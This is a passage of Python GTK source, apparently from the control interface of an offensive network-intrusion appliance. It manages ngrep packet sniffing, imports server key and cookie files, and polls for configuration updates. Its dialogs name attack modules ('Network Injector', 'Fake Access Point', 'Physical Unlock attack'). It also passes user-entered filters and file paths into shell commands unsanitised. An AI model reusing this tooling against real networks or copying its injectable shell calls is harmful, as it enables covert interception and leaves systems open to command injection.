        self.do_gui(self.builder.get_object("button14").set_sensitive, False)
	self.do_gui(self.builder.get_object("button13").set_label, "Unlock")
        self.started_firewire = False

	if self.firewiretimeout != None:
	    GObject.source_remove(self.firewiretimeout)
	    self.firewiretimeout = None

	subprocess.call('echo "{} Stopping Physical Unlock attack." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime()), shell=True)
	self.py_running = False

    def ngrep(self, *args):
        self.builder.get_object("button6").set_sensitive(False)
	self.builder.get_object("button10").set_sensitive(False)
        t = threading.Thread(target = self.ngreprt)
        t.start()

    def ngreprt(self):
        if self.ngrep_sreboot == True:
	    self.ngrep_reboot()

	try:
            os.makedirs('/opt/td-config/run/ngrep/')
        except:
	    pass

	os.chmod('/opt/td-config/run/ngrep/', 0777)

	f = open('/opt/td-config/run/ngrep/match', 'a')
        f.close()

	os.chmod('/opt/td-config/run/ngrep/match', 0777)

	if self.ngrep_type == "wireless":
	    myiface = "at0"
	else:
	    myiface = self.ngrep_snif

	self.ngrep_pid = None

	if self.started == True:
	    if self.regex == None and self.bpf == None:
	        ngrep_proc = subprocess.Popen('/opt/td-config/bin/ngrep -d {} > /dev/null 2> /dev/null'.format(myiface), shell=True)
	    elif self.regex != None and self.bpf == None:
	        ngrep_proc = subprocess.Popen('/opt/td-config/bin/ngrep -d {} "{}" > /dev/null 2> /dev/null'.format(myiface, self.regex), shell=True)
	    elif self.regex == None and self.bpf != None:
	        ngrep_proc = subprocess.Popen('/opt/td-config/bin/ngrep -d {} "" "{}" > /dev/null 2> /dev/null'.format(myiface, self.bpf), shell=True)
	    else:
	        ngrep_proc = subprocess.Popen('/opt/td-config/bin/ngrep -d {} "{}" "{}" > /dev/null 2> /dev/null'.format(myiface, self.regex, self.bpf), shell=True)

	    self.ngrep_pid = self.child_pid(ngrep_proc.pid)

	    time.sleep(1);
	    
	    if self.ngrep_pid == None:
	        self.dialog = self.builder.get_object("messagedialog1")
                Gdk.threads_enter()
                self.response = self.dialog.run()
                Gdk.threads_leave()
                if self.response == Gtk.ResponseType.CLOSE:
                    self.do_gui(self.dialog.hide)
                self.do_gui(self.builder.get_object("button6").set_sensitive, True)
                self.do_gui(self.nentry1.set_text, "")
                self.do_gui(self.nentry2.set_text, "")
                self.ngrep_started = False
                self.ngrep_sreboot = False
                return

	    try:
		if subprocess.check_output("ps ax | grep -i {} | grep -v ' grep'".format(self.ngrep_pid), shell=True).strip() == '0':
		    self.dialog = self.builder.get_object("messagedialog1")
		    Gdk.threads_enter()
		    self.response = self.dialog.run()
		    Gdk.threads_leave()
		    if self.response == Gtk.ResponseType.CLOSE:
		    	self.do_gui(self.dialog.hide)
		    self.do_gui(self.builder.get_object("button6").set_sensitive, True)
		    self.do_gui(self.nentry1.set_text, "")
            	    self.do_gui(self.nentry2.set_text, "")
		    self.ngrep_started = False
            	    self.ngrep_sreboot = False
		    return		
	    except:
	 	self.dialog = self.builder.get_object("messagedialog1")
		Gdk.threads_enter()
                self.response = self.dialog.run()
		Gdk.threads_leave()
                if self.response == Gtk.ResponseType.CLOSE:
                    self.do_gui(self.dialog.hide)
		self.do_gui(self.builder.get_object("button6").set_sensitive, True)
		self.do_gui(self.nentry1.set_text, "")
                self.do_gui(self.nentry2.set_text, "")
		self.ngrep_started = False
                self.ngrep_sreboot = False
                return

	    self.listclear = True
            self.ni_lock.acquire()
            time.sleep(1)
            self.do_gui(self.builder.get_object("liststore1").clear)
            self.ni_lock.release()
            self.listclear = False
	
	    self.ngrtimeout = GObject.timeout_add(2000, self.ngrepreboot, None)
	    self.do_gui(self.builder.get_object("button6").set_sensitive, True)
	    self.do_gui(self.builder.get_object("button10").set_sensitive, True)
            self.ngrep_started = True
	    self.ngrep_sreboot = True

	    if self.regex == None and self.bpf == None:
		subprocess.call('echo "{} Starting Network Filters on {}..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime(), myiface), shell=True)
	    elif self.regex != None and self.bpf == None:
		subprocess.call('echo "{} Starting Network Filters on {} with {} regex..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime(), myiface, self.regex), shell=True)
	    elif self.regex == None and self.bpf != None:
		subprocess.call('echo "{} Starting Network Filters on {} with {} BPF filter..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime(), myiface, self.bpf), shell=True)
	    else:
		subprocess.call('echo "{} Starting Network Filters on {} with {} regex and {} BPF filter..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime(), myiface, self.regex, self.bpf), shell=True)
	    subprocess.call("echo 'UPDATE' > /opt/td-config/run/rcs/state 2> /dev/null", shell=True)

    def ngrep_stop(self, *args):
        t = threading.Thread(target = self.ngrep_stoprt)
        t.start()

    def ngrep_stoprt(self):
	if self.ngrep_started == True:
	    GObject.source_remove(self.ngrtimeout)

	    if self.ngrep_pid != None:
	    	subprocess.call('kill -KILL {} 2> /dev/null'.format(self.ngrep_pid), shell=True)

            subprocess.call('killall -SIGKILL ngrep 2> /dev/null', shell=True)

            try:
                os.remove('/opt/td-config/run/ngrep/match')
            except:
                pass

	    f = open('/opt/td-config/run/ngrep/match', 'w')
            f.close()

            self.do_gui(self.builder.get_object("button10").set_sensitive, False)
            self.ngrep_started = False
	    self.ngrep_sreboot = False
            subprocess.call('echo "{} Removing Network Filters." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime()), shell=True)
	    self.do_gui(self.nentry1.set_text, "")
	    self.do_gui(self.nentry2.set_text, "")
	    subprocess.call("echo 'UPDATE' > /opt/td-config/run/rcs/state 2> /dev/null", shell=True)

    def ngrep_stopr(self, *args):
        if self.ngrep_started == True:
            GObject.source_remove(self.ngrtimeout)
            
            if self.ngrep_pid != None:
		subprocess.call('kill -KILL {} 2> /dev/null'.format(self.ngrep_pid), shell=True)

            subprocess.call('killall -SIGKILL ngrep 2> /dev/null', shell=True)

            try:
                os.remove('/opt/td-config/run/ngrep/match')
            except:
                pass

	    f = open('/opt/td-config/run/ngrep/match', 'w')
            f.close()

            self.builder.get_object("button10").set_sensitive(False)
            self.ngrep_sreboot = False
	    self.listclear = True
	    self.ni_lock.acquire()
	    time.sleep(1)
            self.do_gui(self.builder.get_object("liststore1").clear)
            self.ni_lock.release()
	    self.listclear = False
	    subprocess.call("echo 'UPDATE' > /opt/td-config/run/rcs/state 2> /dev/null", shell=True)

    def ngrepreboot(self, *args):
        if self.ngrep_started == True:
            reboot = False

            try:
                if subprocess.check_output("ps ax | grep -i {} | grep -v ' grep'".format(self.ngrep_pid), shell=True).strip() == '0':
                    reboot = True
            except:
                reboot = True

            if reboot == True:
                subprocess.call('echo "{} Reboot of Network Filters..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime()), shell=True)
		self.ngrep_stopr()
		self.ngrep_entries_timeout(None)
		self.ngrep()

		return False

	return True

    def ngrep_reboot(self, *args):
        if self.ngrep_started == True:
	    GObject.source_remove(self.ngrtimeout)

	    if self.ngrep_pid != None:
		subprocess.call('kill -KILL {} 2> /dev/null'.format(self.ngrep_pid), shell=True)

            subprocess.call('killall -SIGKILL ngrep 2> /dev/null', shell=True)

            try:
                os.remove('/opt/td-config/run/ngrep/match')
            except:
                pass

	    f = open('/opt/td-config/run/ngrep/match', 'w')
            f.close()

            self.builder.get_object("button10").set_sensitive(False)
            subprocess.call('echo "{} Restarting Network Filters." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime()), shell=True)
	    self.ngrep_sreboot = False

    def ngrep_entries_timeout(self, user_data):
        self.regex = self.nentry1.get_text()
        if self.regex == "":
            self.regex = None

        self.bpf = self.nentry2.get_text()
        if self.bpf == "":
            self.bpf = None

        return True

    def loadserverconfig(self, *args):
	if os.path.exists('/opt/td-config/share/server') == True:
	    count = 0

	    for address in open('/opt/td-config/share/server').readlines():
		count += 1
	        break

	    if count != 0:
	        address = address[:-1]
	        self.builder.get_object("entry7").set_text('')
	        self.builder.get_object("entry7").set_text(address)

	if os.path.exists('/opt/td-config/share/port') == False:
	    f = open('/opt/td-config/share/port', 'w')
	    f.write('80\n')
	    f.close()

	if os.path.exists('/opt/td-config/share/port') == True:	
	    count = 0

	    for port in open('/opt/td-config/share/port').readlines():
		count += 1
		break

	    if count != 0:
	        port = port[:-1]
	        self.builder.get_object("entry8").set_text('')
                self.builder.get_object("entry8").set_text(port)

    def loadserverconfig2(self, *args):
	if os.path.exists('/opt/td-config/share/server') == True:
	    count = 0

            for address in open('/opt/td-config/share/server').readlines():
		count += 1
                break

	    if count != 0:
                address = address[:-1]
                self.builder.get_object("entry9").set_text('')
                self.builder.get_object("entry9").set_text(address)

        if os.path.exists('/opt/td-config/share/port') == False:
            f = open('/opt/td-config/share/port', 'w')
            f.write('80\n')
            f.close()

        if os.path.exists('/opt/td-config/share/port') == True:
	    count = 0

            for port in open('/opt/td-config/share/port').readlines():
		count += 1
                break

	    if count != 0:
                port = port[:-1]
                self.builder.get_object("entry10").set_text('')
                self.builder.get_object("entry10").set_text(port)

    def newimportkey(self, *args):
        if self.started_newconf == True:
            self.dialog14 = self.builder.get_object("messagedialog14")
            msgdia = 'Configure with server is running...\nPlease finish with his operations or stop it first.'
            self.dialog14.format_secondary_text(msgdia)
            self.response14 = self.dialog14.run()
            if self.response14 == Gtk.ResponseType.OK:
                self.dialog14.hide()
                return
        elif (self.ni_running == True or self.started == True) and (self.fa_running == True or self.fakeap_started == True):
            self.dialog14 = self.builder.get_object("messagedialog14")
            msgdia = 'Network Injector and Fake Access Point are running...\nPlease finish with their operations or stop it first.'
            self.dialog14.format_secondary_text(msgdia)
            self.response14 = self.dialog14.run()
            if self.response14 == Gtk.ResponseType.OK:
                self.dialog14.hide()
                return
        elif self.ni_running == True or self.started == True:
            self.dialog14 = self.builder.get_object("messagedialog14")
            msgdia = 'Network Injector is running...\nPlease finish with his operations or stop it first.'
            self.dialog14.format_secondary_text(msgdia)
            self.response14 = self.dialog14.run()
            if self.response14 == Gtk.ResponseType.OK:
                self.dialog14.hide()
                return
        elif self.wi_running == True or self.status == 'started':
            self.dialog14 = self.builder.get_object("messagedialog14")
            msgdia = 'Wireless Intruder is running...\nPlease finish with his operations or stop it first.'
            self.dialog14.format_secondary_text(msgdia)
            self.response14 = self.dialog14.run()
            if self.response14 == Gtk.ResponseType.OK:
                self.dialog14.hide()
                return
        elif self.fa_running == True or self.fakeap_started == True:
            self.dialog14 = self.builder.get_object("messagedialog14")
            msgdia = 'Fake Access Point is running...\nPlease finish with his operations or stop it first.'
            self.dialog14.format_secondary_text(msgdia)
            self.response14 = self.dialog14.run()
            if self.response14 == Gtk.ResponseType.OK:
                self.dialog14.hide()
                return
        elif self.py_running == True or self.started_firewire == True:
            self.dialog14 = self.builder.get_object("messagedialog14")
            msgdia = 'Physical Unlock is running...\nPlease finish with his operations or stop it first.'
            self.dialog14.format_secondary_text(msgdia)
            self.response14 = self.dialog14.run()
            if self.response14 == Gtk.ResponseType.OK:
                self.dialog14.hide()
                return

	address = self.builder.get_object("entry7").get_text()
	if len(address) == 0 or address == None:
	    self.dialog29 = self.builder.get_object("messagedialog29")
            msgdia = 'Network address is empty.\nPlease fix the network address of server.'
            self.dialog29.format_secondary_text(msgdia)
            self.response29 = self.dialog29.run()
            if self.response29 == Gtk.ResponseType.OK:
                self.dialog29.hide()
                return
 
	try:
	    inet_pton(AF_INET, address)
	except:
	    self.dialog29 = self.builder.get_object("messagedialog29")
            msgdia = 'Network address is not correct.\nPlease fix the network address of server.'
            self.dialog29.format_secondary_text(msgdia)
            self.response29 = self.dialog29.run()
            if self.response29 == Gtk.ResponseType.OK:
                self.dialog29.hide()
                return

	port = self.builder.get_object("entry8").get_text()
	if len(port) == 0 or port == None:
	    self.dialog29 = self.builder.get_object("messagedialog29")
            msgdia = 'Port is empty.\nPlease fix the port of server.'
            self.dialog29.format_secondary_text(msgdia)
            self.response29 = self.dialog29.run()
            if self.response29 == Gtk.ResponseType.OK:
                self.dialog29.hide()
                return

	try:
	    port = int(port)
	except:
	    self.dialog29 = self.builder.get_object("messagedialog29")
            msgdia = 'Port is not correct.\nPlease fix the port of server.'
            self.dialog29.format_secondary_text(msgdia)
            self.response29 = self.dialog29.run()
            if self.response29 == Gtk.ResponseType.OK:
                self.dialog29.hide()
                return

	if port <= 0 or port >= 65536:
	    self.dialog29 = self.builder.get_object("messagedialog29")
            msgdia = 'Port is not correct.\nPlease fix the port of server.'
            self.dialog29.format_secondary_text(msgdia)
            self.response29 = self.dialog29.run()
            if self.response29 == Gtk.ResponseType.OK:
                self.dialog29.hide()
                return

	if os.path.exists('/opt/td-config/share/server') == True:
	    os.remove('/opt/td-config/share/server')

	if os.path.exists('/opt/td-config/share/port') == True:
            os.remove('/opt/td-config/share/port')

	f = open('/opt/td-config/share/server', 'w')
	f.write("{}\n".format(address))
	f.close()

	f = open('/opt/td-config/share/port', 'w')
        f.write("{}\n".format(port))
        f.close()

	self.loadserverconfig()

	auth_path = None
	dialog = Gtk.FileChooserDialog("Please choose an authorization file", self.window, Gtk.FileChooserAction.OPEN, (Gtk.STOCK_CANCEL, Gtk.ResponseType.CANCEL, Gtk.STOCK_OPEN, Gtk.ResponseType.OK))
        response = dialog.run()

        if response == Gtk.ResponseType.OK:
            auth_path = pipes.quote(dialog.get_filename())
	    if auth_path[0] == "'" and auth_path[-1] == "'":
	        auth_path = auth_path[1:-1]
        elif response == Gtk.ResponseType.CANCEL:
            dialog.hide()
            return 

        dialog.hide()

	if string.find(subprocess.check_output("file '{}'".format(auth_path), shell=True).strip(), "Zip archive data") == -1:
	    self.dialog29 = self.builder.get_object("messagedialog29")
            msgdia = 'Authorization file is not correct.\nPlease use the correct file exported.'
            self.dialog29.format_secondary_text(msgdia)
            self.response29 = self.dialog29.run()
            if self.response29 == Gtk.ResponseType.OK:
                self.dialog29.hide()
                return

	if os.path.exists('/tmp/auth_import') == True:
	    subprocess.call("rm -Rf /tmp/auth_import", shell=True)

	os.mkdir("/tmp/auth_import")
	subprocess.call("unzip -o '{}' -d /tmp/auth_import".format(auth_path), shell=True)

	if os.path.exists('/tmp/auth_import/key') == False or os.path.exists('/tmp/auth_import/cookie') == False:
	    subprocess.call("rm -Rf /tmp/auth_import", shell=True)

	    self.dialog29 = self.builder.get_object("messagedialog29")
            msgdia = 'Authorization file is not correct.\nPlease use the correct file exported.'
            self.dialog29.format_secondary_text(msgdia)
            self.response29 = self.dialog29.run()
            if self.response29 == Gtk.ResponseType.OK:
                self.dialog29.hide()
                return

	cerror = 0

        if os.path.exists('/tmp/auth_import/key') == True:
            ccount = 0

            for address in open('/tmp/auth_import/key').readlines():
                ccount += 1
                break

            if ccount != 1:
                cerror = 1

        if os.path.exists('/tmp/auth_import/cookie') == True:
            ccount = 0

            for address in open('/tmp/auth_import/cookie').readlines():
                ccount += 1
                break

            if ccount != 1:
                cerror = 1

	if cerror == 1:
	    subprocess.call("rm -Rf /tmp/auth_import", shell=True)

            self.dialog29 = self.builder.get_object("messagedialog29")
            msgdia = 'Authorization file is not correct.\nPlease use the correct file exported.'
            self.dialog29.format_secondary_text(msgdia)
            self.response29 = self.dialog29.run()
            if self.response29 == Gtk.ResponseType.OK:
                self.dialog29.hide()
                return

	if os.path.exists('/opt/td-config/share/key') == True:
	    os.remove('/opt/td-config/share/key')

	if os.path.exists('/opt/td-config/share/cookie') == True:
	    os.remove('/opt/td-config/share/cookie')

	subprocess.call("mv /tmp/auth_import/key /opt/td-config/share/", shell=True)
	subprocess.call("mv /tmp/auth_import/cookie /opt/td-config/share/", shell=True)
	subprocess.call("rm -Rf /tmp/auth_import", shell=True)

	self.dialog30 = self.builder.get_object("messagedialog30")
	self.response30 = self.dialog30.run()
        if self.response30 == Gtk.ResponseType.OK:
            self.dialog30.hide()

    def newimportkey2(self, *args):
        if self.started_newconf == True:
            self.dialog14 = self.builder.get_object("messagedialog14")
            msgdia = 'Configure with server is running...\nPlease finish with his operations or stop it first.'
            self.dialog14.format_secondary_text(msgdia)
            self.response14 = self.dialog14.run()
            if self.response14 == Gtk.ResponseType.OK:
                self.dialog14.hide()
                return
        if self.ni2_running == True or self.started == True:
            self.dialog14 = self.builder.get_object("messagedialog14")
            msgdia = 'Network Injector is running...\nPlease finish with his operations or stop it first.'
            self.dialog14.format_secondary_text(msgdia)
            self.response14 = self.dialog14.run()
            if self.response14 == Gtk.ResponseType.OK:
                self.dialog14.hide()
                return

    	address = self.builder.get_object("entry9").get_text()
        if len(address) == 0 or address == None:
            self.dialog29 = self.builder.get_object("messagedialog29")
            msgdia = 'Network address is empty.\nPlease fix the network address of server.'
            self.dialog29.format_secondary_text(msgdia)
            self.response29 = self.dialog29.run()
            if self.response29 == Gtk.ResponseType.OK:
                self.dialog29.hide()
                return

        try:
            inet_pton(AF_INET, address)
        except:
            self.dialog29 = self.builder.get_object("messagedialog29")
            msgdia = 'Network address is not correct.\nPlease fix the network address of server.'
            self.dialog29.format_secondary_text(msgdia)
            self.response29 = self.dialog29.run()
            if self.response29 == Gtk.ResponseType.OK:
                self.dialog29.hide()
                return

        port = self.builder.get_object("entry10").get_text()
        if len(port) == 0 or port == None:
            self.dialog29 = self.builder.get_object("messagedialog29")
            msgdia = 'Port is empty.\nPlease fix the port of server.'
            self.dialog29.format_secondary_text(msgdia)
            self.response29 = self.dialog29.run()
            if self.response29 == Gtk.ResponseType.OK:
                self.dialog29.hide()
                return

        try:
            port = int(port)
        except:
            self.dialog29 = self.builder.get_object("messagedialog29")
            msgdia = 'Port is not correct.\nPlease fix the port of server.'
            self.dialog29.format_secondary_text(msgdia)
            self.response29 = self.dialog29.run()
            if self.response29 == Gtk.ResponseType.OK:
                self.dialog29.hide()
                return

        if port <= 0 or port >= 65536:
            self.dialog29 = self.builder.get_object("messagedialog29")
            msgdia = 'Port is not correct.\nPlease fix the port of server.'
            self.dialog29.format_secondary_text(msgdia)
            self.response29 = self.dialog29.run()
            if self.response29 == Gtk.ResponseType.OK:
                self.dialog29.hide()
                return

	if os.path.exists('/opt/td-config/share/server') == True:
            os.remove('/opt/td-config/share/server')

        if os.path.exists('/opt/td-config/share/port') == True:
            os.remove('/opt/td-config/share/port')

        f = open('/opt/td-config/share/server', 'w')
        f.write("{}\n".format(address))
        f.close()

        f = open('/opt/td-config/share/port', 'w')
        f.write("{}\n".format(port))
        f.close()

        self.loadserverconfig2()

        auth_path = None
        dialog = Gtk.FileChooserDialog("Please choose an authorization file", self.window, Gtk.FileChooserAction.OPEN, (Gtk.STOCK_CANCEL, Gtk.ResponseType.CANCEL, Gtk.STOCK_OPEN, Gtk.ResponseType.OK))
        response = dialog.run()

        if response == Gtk.ResponseType.OK:
            auth_path = pipes.quote(dialog.get_filename())
            if auth_path[0] == "'" and auth_path[-1] == "'":
                auth_path = auth_path[1:-1]
        elif response == Gtk.ResponseType.CANCEL:
            dialog.hide()
            return

        dialog.hide()

        if string.find(subprocess.check_output("file '{}'".format(auth_path), shell=True).strip(), "Zip archive data") == -1:
            self.dialog29 = self.builder.get_object("messagedialog29")
            msgdia = 'Authorization file is not correct.\nPlease use the correct file exported.'
            self.dialog29.format_secondary_text(msgdia)
            self.response29 = self.dialog29.run()
            if self.response29 == Gtk.ResponseType.OK:
                self.dialog29.hide()
                return

        if os.path.exists('/tmp/auth_import') == True:
            subprocess.call("rm -Rf /tmp/auth_import", shell=True)

        os.mkdir("/tmp/auth_import")
        subprocess.call("unzip -o '{}' -d /tmp/auth_import".format(auth_path), shell=True)

        if os.path.exists('/tmp/auth_import/key') == False or os.path.exists('/tmp/auth_import/cookie') == False:
            subprocess.call("rm -Rf /tmp/auth_import", shell=True)

            self.dialog29 = self.builder.get_object("messagedialog29")
            msgdia = 'Authorization file is not correct.\nPlease use the correct file exported.'
            self.dialog29.format_secondary_text(msgdia)
            self.response29 = self.dialog29.run()
            if self.response29 == Gtk.ResponseType.OK:
                self.dialog29.hide()
                return

        cerror = 0

        if os.path.exists('/tmp/auth_import/key') == True:
            ccount = 0

            for address in open('/tmp/auth_import/key').readlines():
                ccount += 1
                break

            if ccount != 1:
                cerror = 1

        if os.path.exists('/tmp/auth_import/cookie') == True:
            ccount = 0

            for address in open('/tmp/auth_import/cookie').readlines():
                ccount += 1
                break

            if ccount != 1:
                cerror = 1

        if cerror == 1:
            subprocess.call("rm -Rf /tmp/auth_import", shell=True)

            self.dialog29 = self.builder.get_object("messagedialog29")
            msgdia = 'Authorization file is not correct.\nPlease use the correct file exported.'
            self.dialog29.format_secondary_text(msgdia)
            self.response29 = self.dialog29.run()
            if self.response29 == Gtk.ResponseType.OK:
                self.dialog29.hide()
                return

        if os.path.exists('/opt/td-config/share/key') == True:
            os.remove('/opt/td-config/share/key')

        if os.path.exists('/opt/td-config/share/cookie') == True:
            os.remove('/opt/td-config/share/cookie')

        subprocess.call("mv /tmp/auth_import/key /opt/td-config/share/", shell=True)
        subprocess.call("mv /tmp/auth_import/cookie /opt/td-config/share/", shell=True)
        subprocess.call("rm -Rf /tmp/auth_import", shell=True)

        self.dialog30 = self.builder.get_object("messagedialog30")
        self.response30 = self.dialog30.run()
        if self.response30 == Gtk.ResponseType.OK:
            self.dialog30.hide()
 
    def confile(self):
	conn_number = 0

	while self.waitconf == True:
	    conn_number += 1

	    if conn_number == 1:
                self.builder.get_object("label46").set_label("Connection to server, please wait...")
                subprocess.call('echo "{} Connection from Network Injector to server..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime()), shell=True)
	    else:
		self.builder.get_object("label46").set_label("Connection to server in 30 seconds, please wait...")
		subprocess.call('echo "{} Connection from Network Injector to server in 30 seconds..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime()), shell=True)

            thestate = False
            while thestate == False:
                if os.path.exists('/tmp/stat_nosended') == True:
                    subprocess.call('rm /tmp/stat_nosended 2> /dev/null', shell=True)
                    thestate = True
                    self.builder.get_object("label46").set_label("Cannot connect to server.")
                    subprocess.call('echo "{} Cannot connect from Network Injector to server." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime()), shell=True)

                if os.path.exists('/tmp/stat_sended') == True:
		    subprocess.call('rm /tmp/stat_sended 2> /dev/null', shell=True)
                    thestate = True
                    self.builder.get_object("label46").set_label("Connected to server.")
                    subprocess.call('echo "{} Connected from Network Injector to server." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime()), shell=True)

                time.sleep(2)
                if self.waitconf == False:
                    return

	    self.builder.get_object("label46").set_label("Requesting the new configuration to server, please wait...")
            subprocess.call('echo "{} Requesting the new configuration of Network Injector to server..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime()), shell=True)

            time.sleep(1)

	    thestate = False
	    while thestate == False:
		if os.path.exists('/tmp/conf_noreceived') == True:
		    subprocess.call('rm /tmp/conf_noreceived 2> /dev/null', shell=True)
		    thestate = True
		    self.builder.get_object("label46").set_label("No new configuration.")
                    subprocess.call('echo "{} No new configuration for the Network Injector." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime()), shell=True)

		if os.path.exists('/tmp/conf_received') == True:
		    subprocess.call('rm /tmp/conf_received 2> /dev/null', shell=True)
		    thestate = True
		    self.builder.get_object("label46").set_label("The new configuration has been updated.")
		    subprocess.call('echo "{} The new configuration has been updated of Network Injector." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime()), shell=True)

		    time.sleep(2)
		    self.newconf()

		    self.dialog13 = self.builder.get_object("messagedialog13")
                    Gdk.threads_enter()
                    self.response13 = self.dialog13.run()
                    Gdk.threads_leave()
                    if self.response13 == Gtk.ResponseType.OK:
			self.do_gui(self.dialog13.hide)
			return

		time.sleep(2)
		if self.waitconf == False:
		    return

            self.builder.get_object("label46").set_label("Requesting the new software update to server, please wait...")
            subprocess.call('echo "{} Requesting the new software update of Network Injector to server..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime()), shell=True)

            time.sleep(1)

	    thestate = False
	    while thestate == False:
		if os.path.exists('/tmp/upgrade_noreceived') == True:
		    subprocess.call('rm /tmp/upgrade_noreceived 2> /dev/null', shell=True)
                    thestate = True
		    self.builder.get_object("label46").set_label("No new software update.")
		    subprocess.call('echo "{} No new software update for the Network Injector." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime()), shell=True)

		if os.path.exists('/tmp/upgrade_received') == True:
		    subprocess.call('rm /tmp/upgrade_received 2> /dev/null', shell=True)
                    thestate = True
		    self.builder.get_object("label46").set_label("New software update is available.")
                    subprocess.call('echo "{} The new software update is available." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime()), shell=True)
		    
		    time.sleep(2)
		    self.newconf()

		    self.dialog4 = self.builder.get_object("messagedialog4")
                    Gdk.threads_enter()
                    self.response4 = self.dialog4.run()
                    Gdk.threads_leave()
                    if self.response4 == Gtk.ResponseType.YES or self.response4 == Gtk.ResponseType.NO:
                        self.do_gui(self.dialog4.hide)
			if self.response4 == Gtk.ResponseType.YES: 
			    subprocess.call('/etc/init.d/upgrade &', shell=True)
			    self.quit2()
			else:
                            return

		time.sleep(2)
                if self.waitconf == False:
                    return

    def confile2(self):
	conn_number = 0

        while self.waitconf == True:
	    conn_number += 1

	    if conn_number == 1:
                self.builder.get_object("label47").set_label("Connection to server, please wait...")
                subprocess.call('echo "{} Connection from Network Injector to server..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime()), shell=True)
	    else:
		self.builder.get_object("label47").set_label("Connection to server in 30 seconds, please wait...")
		subprocess.call('echo "{} Connection from Network Injector to server in 30 seconds..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime()), shell=True)

            thestate = False
            while thestate == False:
                if os.path.exists('/tmp/stat_nosended') == True:
                    subprocess.call('rm /tmp/stat_nosended 2> /dev/null', shell=True)
                    thestate = True
                    self.builder.get_object("label47").set_label("Cannot connect to server.")
                    subprocess.call('echo "{} Cannot connect from Network Injector to server." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime()), shell=True)

                if os.path.exists('/tmp/stat_sended') == True:
                    subprocess.call('rm /tmp/stat_sended 2> /dev/null', shell=True)
                    thestate = True
                    self.builder.get_object("label47").set_label("Connected to server.")
                    subprocess.call('echo "{} Connected from Network Injector to server." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime()), shell=True)

                time.sleep(2)
                if self.waitconf == False:
                    return

	    self.builder.get_object("label47").set_label("Requesting the new configuration to server, please wait...")
            subprocess.call('echo "{} Requesting the new configuration of Network Injector to server..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime()), shell=True)

            time.sleep(1)

            thestate = False
            while thestate == False:
		if os.path.exists('/tmp/conf_noreceived') == True:
                    subprocess.call('rm /tmp/conf_noreceived 2> /dev/null', shell=True)
                    thestate = True
                    self.builder.get_object("label47").set_label("No new configuration.")
                    subprocess.call('echo "{} No new configuration for the Network Injector." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime()), shell=True)

                if os.path.exists('/tmp/conf_received') == True:
                    subprocess.call('rm /tmp/conf_received 2> /dev/null', shell=True)
                    thestate = True
                    self.builder.get_object("label47").set_label("The new configuration has been updated.")
                    subprocess.call('echo "{} The new configuration has been updated of Network Injector." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime()), shell=True)

		    time.sleep(2)
		    self.newconf2()

		    self.dialog13 = self.builder.get_object("messagedialog13")
                    Gdk.threads_enter()
                    self.response13 = self.dialog13.run()
                    Gdk.threads_leave()
                    if self.response13 == Gtk.ResponseType.OK:
                        self.do_gui(self.dialog13.hide)
                        return

                time.sleep(2)
                if self.waitconf == False:
                    return

            self.builder.get_object("label47").set_label("Requesting the new software update to server, please wait...")
            subprocess.call('echo "{} Requesting the new software update of Network Injector to server..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime()), shell=True)

            time.sleep(1)

	    thestate = False
            while thestate == False:
                if os.path.exists('/tmp/upgrade_noreceived') == True:
                    subprocess.call('rm /tmp/upgrade_noreceived 2> /dev/null', shell=True)
                    thestate = True
	  	    self.builder.get_object("label47").set_label("No new software update.")
                    subprocess.call('echo "{} No new software update for the Network Injector." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime()), shell=True)
                
                if os.path.exists('/tmp/upgrade_received') == True:
                    subprocess.call('rm /tmp/upgrade_received 2> /dev/null', shell=True)
                    thestate = True
                    self.builder.get_object("label47").set_label("New software update is available.")
                    subprocess.call('echo "{} The new software update is available." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime()), shell=True)
 
		    time.sleep(2)
		    self.newconf2()
              
		    self.dialog4 = self.builder.get_object("messagedialog4")
                    Gdk.threads_enter()
                    self.response4 = self.dialog4.run()
                    Gdk.threads_leave()
                    if self.response4 == Gtk.ResponseType.YES or self.response4 == Gtk.ResponseType.NO:
                        self.do_gui(self.dialog4.hide)
			if self.response4 == Gtk.ResponseType.YES:
			    subprocess.call('/etc/init.d/upgrade &', shell=True)
                            self.quit2()
			else:
                            return
 
                time.sleep(2)
                if self.waitconf == False:
                    return

    def newconf(self, *args):
        if self.waitconf == False:
            if (self.ni_running == True or self.started == True) and (self.fa_running == True or self.fakeap_started == True):
                self.dialog14 = self.builder.get_object("messagedialog14")
                msgdia = 'Network Injector and Fake Access Point are running...\nPlease finish with their operations or stop it first.'
                self.dialog14.format_secondary_text(msgdia)
                self.response14 = self.dialog14.run()
                if self.response14 == Gtk.ResponseType.OK:
                    self.dialog14.hide()
                    return
            elif self.ni_running == True or self.started == True:
                self.dialog14 = self.builder.get_object("messagedialog14")
                msgdia = 'Network Injector is running...\nPlease finish with his operations or stop it first.'
                self.dialog14.format_secondary_text(msgdia)
                self.response14 = self.dialog14.run()
                if self.response14 == Gtk.ResponseType.OK:
                    self.dialog14.hide()
                    return
	    elif self.wi_running == True or self.status == 'started':
                self.dialog14 = self.builder.get_object("messagedialog14")
                msgdia = 'Wireless Intruder is running...\nPlease finish with his operations or stop it first.'
